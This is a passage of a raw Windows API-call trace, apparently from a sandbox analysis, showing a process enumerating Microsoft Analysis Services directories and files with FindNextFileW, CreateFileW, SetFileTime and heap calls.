ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.466] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0245.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.467] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0245.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.467] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0245.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.467] NtClose (Handle=0x1a8) returned 0x0 [0245.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943598 [0245.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943620 [0245.468] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0245.468] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0245.468] GetLastError () returned 0x12 [0245.468] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd620 [0245.468] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0245.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9436a8 [0245.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.468] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0245.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.469] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0245.469] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.469] NtClose (Handle=0x1a8) returned 0x0 [0245.469] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9436a8 [0245.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9437b8 [0245.469] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0245.471] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0245.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.471] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.471] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.471] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.472] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0245.472] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0245.472] GetLastError () returned 0x12 [0245.472] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0245.473] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.473] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.473] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0245.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0245.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e5c8 [0245.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0245.489] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.489] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.489] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.489] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.489] NtClose (Handle=0x1a8) returned 0x0 [0245.489] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e5c8) returned 1 [0245.489] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e5c8 [0245.490] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e6d0 [0245.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0245.526] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.526] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e7d8 [0245.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934e10 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e8e0 [0245.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.526] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.526] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.526] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934e30 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e9e8 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934e50 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93eaf0 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934e70 [0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ebf8 [0245.527] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, 